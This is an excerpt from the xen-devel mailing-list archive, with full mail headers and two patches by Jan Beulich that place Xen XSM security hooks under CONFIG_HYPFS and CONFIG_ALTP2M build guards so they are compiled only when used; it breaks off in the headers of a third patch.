 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:15:50 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c45e92eesm82872285e9.15.2026.07.28.06.15.48
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:15:49 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785244549; x=1785849349; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=vm/RQUk9KeWS0iCLXC9t6dnguWLLplVaAAYe6yw/m9s=;
        b=dmXZKbQJ+d5U3+RYXedVj2gt3dPq7zvG6Vdy8/MoUSg1mTwmneJvq3cYq3eLY5IZlA
         WWzhPkmt+eVu3Iie5zFlI8XVVx2sImrdLv5yjKPzeYymu6gQ3jkq4SXZQI7hFGHxOkaK
         wCDEdESLY1UlSztsPs07JP8UC0zS+fIEaSBAXBn5UY2gyiiHNf+BexGfHIARecU33PIC
         KYd85QA56wJRthSHwMI7GJr6fmMTtZu8reVgLcNYGFUmnKxm6g4Loya3jFJkF7jch6RC
         9iPbYr7mBf7EQ8q7KoL3DC363vQODQU/JrTvd0GoYGezSibqGtTLx+4xrOsm9PVdvhdX
         jJNg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785244549; x=1785849349;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=vm/RQUk9KeWS0iCLXC9t6dnguWLLplVaAAYe6yw/m9s=;
        b=LJRwm2WzlQiMFo0fZARfOWjM4hvR+Dl0pyWuUQn1Opof5iyAswie5oWumUu1lXAC99
         IEMlkuPNMWtyAjcKJlhd4Xz9zXyQoQl1nCA3YHYEllDox8YRqt4DRwGbq1x1QT0H0CAV
         /ErJZO1KrgZKnBS495cMr4Do56bncEyVouPuvRLVfmffuINoHoLGTlQJE39St3eVS3ca
         wjonXx7vSDiqNI6zzAuX8OCsHJHAFBK9dq5H/eKDetUUssaXvpCZv//fWikl8NU8jFx4
         Z4GuqUA253PcouOxOhDhcjsfx+yeY6p7f7DCjLIG8ExjEKmFIP39qIKCbB7GkiJHFpQO
         x0eg==
X-Gm-Message-State: AOJu0YzshW2BMmB4tIX+NILachVj2ALWD0alo0BeBembdl8QX4RGCh4N
	zi2k1a52iJrL3bvbEEw96SkiXMUTozc4TIYS4FtYiB877gBxJlAO66inxu0xg4yxqUFgUWXHWjF
	kUNxWOQ==
X-Gm-Gg: AR+sD12OX68QOrd/4VG1JoAPxe9FyUepl3vae/LSeFLNgSpg37oewmDwDGRqHprT6RO
	If52n829uQgslh648+3OpIxl+JbddC5LOy5Lrx8ZYI3yF5YjgnHoFPy6ohFlPKTLiGT7ysUty1J
	ZhJmVPHeoiYx3H8F1Uu+tRyQmokgJzeLJSFVffnDYocv43gWkaXJKc67UQ8YSC5W+to9p6LfO3d
	3vOgo3sCNLAAOoErqffaebt52boKrhYIpcHHMaDJ7LguUVawZQnDR0ewdkWsUH7RysZZ3e5i//Y
	tyrWcPlRnNENoOnkwQ22Md9h0+WCiO8LZo2nniQoVMbvYdM/WVSZuj3l0GimtdmAJBFcStGRKF1
	xWzauU6795USd7KM/HhF+inhKU05RUJBxbQk2r+o9LYr0gKU/qQH5bt1J5eF/7fEbvt/oS5QpyU
	hpUEOye1igARdpNCt4px7iuj1doV3GPRLI1ZvuzXa8/vBlKj86Y0F1xxscuOE/9sc+mw==
X-Received: by 2002:a05:600c:3b90:b0:495:6478:2dbc with SMTP id 5b1f17b1804b1-496c641067dmr29647315e9.6.1785244549458;
        Tue, 28 Jul 2026 06:15:49 -0700 (PDT)
Message-ID: <4efdae21-c8be-4fa0-825f-6369ed5d0b90@suse.com>
Date: Tue, 28 Jul 2026 15:15:48 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 07/24] XSM: make .hypfs() hook dependent upon HYPFS=y
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Daniel Smith <dpsmith@apertussolutions.com>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGpt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+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1785244550-772F54E9-4532E20F/0/0
X-purgate-type: clean
X-purgate-size: 1406

It's unreachable / dead otherwise.

Signed-off-by: Jan Beulich <jbeulich@suse.com>

--- a/xen/include/xsm/dummy.h
+++ b/xen/include/xsm/dummy.h
@@ -437,11 +437,13 @@ static XSM_INLINE int cf_check xsm_resou
     return xsm_default_action(action, current->domain, NULL);
 }
 
+#ifdef CONFIG_HYPFS
 static XSM_INLINE int cf_check xsm_hypfs_op(XSM_DEFAULT_VOID)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
     return xsm_default_action(action, current->domain, NULL);
 }
+#endif
 
 static XSM_INLINE long cf_check xsm_do_xsm_op(XEN_GUEST_HANDLE_PARAM(void) op)
 {
--- a/xen/include/xsm/hooks.h
+++ b/xen/include/xsm/hooks.h
@@ -100,7 +100,9 @@ XSM_HOOK(int, pci_config_permission, str
                                      uint16_t, uint8_t)
 #endif
 
+#ifdef CONFIG_HYPFS
 XSM_HOOK(int, hypfs_op)
+#endif
 
 XSM_HOOK(int, hvm_param, struct domain *, unsigned long)
 XSM_HOOK(int, hvm_param_altp2mhvm, struct domain *)
--- a/xen/xsm/flask/hooks.c
+++ b/xen/xsm/flask/hooks.c
@@ -1345,10 +1345,12 @@ static int cf_check flask_resource_setup
     return avc_current_has_perm(SECINITSID_XEN, SECCLASS_RESOURCE, RESOURCE__SETUP, NULL);
 }
 
+#ifdef CONFIG_HYPFS
 static inline int cf_check flask_hypfs_op(void)
 {
     return domain_has_xen(current->domain, XEN__HYPFS_OP);
 }
+#endif
 
 static int cf_check flask_add_to_physmap(struct domain *d1, struct domain *d2)
 {



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:16:21 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:16:21 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374070.1621029 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohfO-0005nD-2s; Tue, 28 Jul 2026 13:16:18 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374070.1621029; Tue, 28 Jul 2026 13:16:18 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohfN-0005n6-VC; Tue, 28 Jul 2026 13:16:17 +0000
Received: by outflank-mailman (input) for mailman id 1374070;
 Tue, 28 Jul 2026 13:16:17 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wohfM-0005ms-VK
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:16:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wohfM-00EpXl-8X
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:16:16 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ab98-e002-0a2a0a5209dd-0a2a45018de0-42
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:16:16 +0200
Received: from [209.85.128.52] (helo=mail-wm1-f52.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ab9f-5984-0a2a45010019-d1558034d5bf-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:16:16 +0200
Received: by mail-wm1-f52.google.com with SMTP id
 5b1f17b1804b1-490cf322ed0so27646635e9.1
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:16:16 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4957bd9e980sm306652945e9.0.2026.07.28.06.16.14
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:16:14 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785244575; x=1785849375; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=zetRrDWUxrCa7/9hdGwxlCdEe6eXsmxWFslnNICnQn8=;
        b=eRkjOq2hJ6JQrfCRlVepoWNeKeJbQHQavqQJEY1l707q0LLJBzfeH5H4jjZH00KD1a
         PiQodM6oEVZh5LcTftdmunxvwDYIxTnnILugy7SdEC73JYbVuUlnkrULPwOzH+6U59h8
         0Zjl9MlVYNkGjJTcF4AFwb67E8VS2+vTK0AFHPGE1HjMg4oskBDxCYPrPBmpDmUrpM/S
         VgcWANEsk4hUrY11nJuXeXUHPTYyshX0XFnC7vFEe7nO2pIMuxmWcxJbagLy0oindjTI
         7+MbX6TYtISTeFIR2nw3Ah9lXSYkCxRU4WNKYcgXonqdqTDFp1Z5umHfhxmmpKTBVQNf
         e+4g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785244575; x=1785849375;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=zetRrDWUxrCa7/9hdGwxlCdEe6eXsmxWFslnNICnQn8=;
        b=Rq7IcgthbIavIKzhmyn5rQQnwTsdmfT72QcYMyWF4bjH6JGmsfcRTFIwUlkgJdqJgu
         POy6ZKe7rh9XYV9SeVlsHRkJRkSRzc11Bnm6GeW58hLCdVVH+YpYeXO0OXb05QkB/Y8H
         Xys1vCOUSjlVB+LESq7tT74vbT23Yz7CWJ1mOMrw5UKcLN19Ui+rlJcubruM409LxreO
         DxffYAOjnXxfNA7j8I64jismd88ilPsNXRS4YbZltJe905PVz+5us993+4h+fZM+zWP+
         JaYcV/WccXrk5vcSmr9gzqOKg3DGN6wu5yLdf049JCNH5/pBtQ0ETb3XwXTLmDGr5v9D
         i1EQ==
X-Gm-Message-State: AOJu0Yy2R6xUm7RPeTimZz2EfzoWtA9fYtC/f1Ia2ZTWoEhyBAEmehHy
	xPush3ry+KkRatA/6PBC0rQJDxmWEBM/nlKCqdEmD/9aYPm2vMN+ZXS7AAo1aywmJHHMnXL3xV6
	7EWxzDg==
X-Gm-Gg: AR+sD13dZUsvNl+XAeyMzUP8hRyUIjiNcyNJTvZbWUtPuKjaTCXjXFZ59Sinj1gRir4
	GcITLdqJimZumDKy/VTcSKXXzg159GbyYQYW6u3D5NzGbDonzfQC5v2EME9CyBJ4FDqDxO5m+MA
	pzXW3P56J/rkOLA/t+r5R6PR6Sg8bntotRlw5DchD+EkSwGSWdncj1NbgdSsosIxmGyqIqV62AU
	KFuzfZB6hDrvpFIJli/pM/dAoLhhW2N7Wcx26065dEuYnToPLA6BL2njFoUdtCmKTbZRtl6aY8d
	e0gXRzVNqSzutMllwJ3/4kdc0u2hXfhCuZmrptdanmpo33MVQU1Ol0r62hjy0NtJgAfhp+FoIw1
	LyR3ky0JN+1lHKievpJJLG0Gqm9UkLtCtVVyvn8dAeNRyeaScD4MAzpXk23zYCOsMfgxZfTchrk
	fzjc4N6mfKeyNLioO4kQa/dyAqgUnfU2gwj8elYO4CzNLXZvwldP/SLtjPeMnIUrsrOA==
X-Received: by 2002:a05:600c:698d:b0:493:bc4a:fb56 with SMTP id 5b1f17b1804b1-496c6586a23mr25150305e9.39.1785244575383;
        Tue, 28 Jul 2026 06:16:15 -0700 (PDT)
Message-ID: <5250093e-174f-4d2d-b19b-95a314b38469@suse.com>
Date: Tue, 28 Jul 2026 15:16:12 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 08/24] XSM: make .hvm_altp2mhvm_op() hook dependent upon
 ALTP2M=y
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Daniel Smith <dpsmith@apertussolutions.com>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d62444/1785244576-BDA7E757-CF311A0A/0/0
X-purgate-type: clean
X-purgate-size: 1651

It's unreachable / dead otherwise.

Signed-off-by: Jan Beulich <jbeulich@suse.com>

--- a/xen/include/xsm/dummy.h
+++ b/xen/include/xsm/dummy.h
@@ -583,6 +583,7 @@ static XSM_INLINE int cf_check xsm_hvm_p
     return xsm_default_action(action, current->domain, d);
 }
 
+#ifdef CONFIG_ALTP2M
 static XSM_INLINE int cf_check xsm_hvm_altp2mhvm_op(
     XSM_DEFAULT_ARG struct domain *d, uint64_t mode, uint32_t op)
 {
@@ -602,6 +603,7 @@ static XSM_INLINE int cf_check xsm_hvm_a
         return -EPERM;
     }
 }
+#endif /* CONFIG_ALTP2M */
 
 #ifdef CONFIG_VM_EVENT
 static XSM_INLINE int cf_check xsm_mem_access(XSM_DEFAULT_ARG struct domain *d)
--- a/xen/include/xsm/hooks.h
+++ b/xen/include/xsm/hooks.h
@@ -106,7 +106,11 @@ XSM_HOOK(int, hypfs_op)
 
 XSM_HOOK(int, hvm_param, struct domain *, unsigned long)
 XSM_HOOK(int, hvm_param_altp2mhvm, struct domain *)
+
+#ifdef CONFIG_ALTP2M
 XSM_HOOK(int, hvm_altp2mhvm_op, struct domain *, uint64_t, uint32_t)
+#endif
+
 XSM_HOOK(int, get_vnumainfo, struct domain *)
 
 #ifdef CONFIG_VM_EVENT
--- a/xen/xsm/flask/hooks.c
+++ b/xen/xsm/flask/hooks.c
@@ -1393,6 +1393,7 @@ static int cf_check flask_hvm_param_altp
     return current_has_perm(d, SECCLASS_HVM, HVM__ALTP2MHVM);
 }
 
+#ifdef CONFIG_ALTP2M
 static int cf_check flask_hvm_altp2mhvm_op(struct domain *d, uint64_t mode, uint32_t op)
 {
     /*
@@ -1416,6 +1417,7 @@ static int cf_check flask_hvm_altp2mhvm_
 
     return current_has_perm(d, SECCLASS_HVM, HVM__ALTP2MHVM_OP);
 }
+#endif /* CONFIG_ALTP2M */
 
 #ifdef CONFIG_VM_EVENT
 static int cf_check flask_mem_access(struct domain *d)



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:17:11 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:17:11 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374079.1621037 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohgE-0006S0-DN; Tue, 28 Jul 2026 13:17:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374079.1621037; Tue, 28 Jul 2026 13:17:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohgE-0006Rr-AM; Tue, 28 Jul 2026 13:17:10 +0000
Received: by outflank-mailman (input) for mailman id 1374079;
 Tue, 28 Jul 2026 13:17:09 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wohgD-0006Rh-HH
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:17:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wohgC-004cso-UC
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:17:08 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68abd2-e002-0a2a0a5209dd-0a2a4504c8be-10
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:17:08 +0200
Received: from [209.85.128.45] (helo=mail-wm1-f45.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68abd4-b57f-0a2a45040019-d155802dedc1-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:17:08 +0200
Received: by mail-wm1-f45.google.com with SMTP id
 5b1f17b1804b1-49553515a8bso47543815e9.1
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:17:08 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85bdac28sm56348963f8f.16.2026.07.28.06.17.07
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:17:07 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785244628; x=1785849428; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=WFTGwAO/jWijw2cBrXOLfG+sKxJS+HJkR11e/wlol9E=;
        b=HlUYvbyuJZTLehkMduc/OAicUNe7KUuoqLt8L8hnwuF94hKHA+LTKFhKpJZee2J4Dp
         lNKJ/BqMwolIBQfza4FjGYuHcBzKbO1EzYcagYuivfaHL5DAZjoDORyX3RkS2ekIp1k4
         6cTFhMIKI8yHZfQUvzVFu2Ehcxe9ImIS3lafv96uqjvANe5jHOuxA1X3ZlHVrg1C/3an
         HxDW0EbKnu5ZCzyIcr5HiMMCwYDjfJEWG1cL6I0dh6Y6uKK67KSJRMEH+bTt+KHdh4QA
         cau0dfJ3i/5acr3iB9gRG3rhlO1ZgML6yarTXsPU+fDclhQv09nlmEIQeZtNcF1t+WUa
         1pKw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785244628; x=1785849428;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=WFTGwAO/jWijw2cBrXOLfG+sKxJS+HJkR11e/wlol9E=;
        b=TD2yGPhGA5QUuv6+W5lQ7plH3htxi9X+/hHG43cG/rY4U95uCAcxLaQK1MXibQYOhv
         GKM9oN0LnuZcwsImIIoipskcEK7nhfuPdCP/CFgpZaFnCvGAKb2Mcj6emm2njyd5+T8Q
         KtIVtj5y+cy3RPI70O9XD2dgkCUaSU69tzMjilXfT0JkfG6/iA+KAFS1U4kGBcpObwxu
         1J+M/vl9uTvePGTAWdNYscbWSq6KQBL1B1N+90LPIRO1j1bgY2QgPtYZCWphSHMcWo94
         jwYvydQTncyVWya3rulyNSX0ueWa7Rl6RfzF7QVrg5FNH89Gp0+UDP98/ElpPjW+Pggs
         pZNg==
X-Gm-Message-State: AOJu0YydutTO7qIZsocWrLpax1AJ65SAVwx2qfqwhWpdY6dhIGLA4tm+
	VBGeyWc+MpDMd7ZY8QL33gW1v1LETXyy/qnFQjuW2GBcGbN7y+z46T3+bmX6p59d8QC5CVXVsVg
	tveTj7Q==
X-Gm-Gg: AR+sD11W/EzPTiQ38A8Gk9Hict/M7fEaFtkG6a02WwrHA4wyPNblrbZKAOzGismrcBL
	/XkJQ3Iq6ku+cCgxkbRZafgmOrv0crMQvXxhNYC5cO9qml+RqPOhquzq7+zmG9CGbDEh16IBF6d
	Ou7RlfXz6zijawSOTkNivofNKKA8BfJFah6DVUGbcWY24woancAL67/smzXWsdkvwd80meZZfWE
	8fQ6F4kcf9HPNA5MQLlZSNj+7dnMcYYxE3gtp5/fEFEjxiGXpEicRjl5no5T/PMlJI5wH+W34wj
	qS/qMLz+6CL0uKcM7hSXJCEKBIb+pR9K6bF/7SU5vcrzNlm/Rbez0roQ+siU2/UWQ884s+h3p8k
	VpzuAb327W5p7h66oMJssUwPbLWbAg3iqlabAnxd79d6hAHyuhcKw03FB86mv43Rx3KCmDzcteQ
	67A7OM0LwfL9gahttadf6CuEKUm53TYG+yUxrRv4Py6GnJWZoqu1gUBZFBM6A4Cuv3Ig==
X-Received: by 2002:a05:600c:34c2:b0:493:aab3:c09c with SMTP id 5b1f17b1804b1-496c657ec5cmr27684955e9.28.1785244628159;
        Tue, 28 Jul 2026 06:17:08 -0700 (PDT)
Message-ID: <7947b62f-6763-4561-b3aa-c451cfa3dacb@suse.com>
Date: Tue, 28 Jul 2026 15:17:06 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 09/24] XSM: make .hvm_param*() hooks dependent upon HVM=y
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Daniel Smith <dpsmith@apertussolutions.com>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
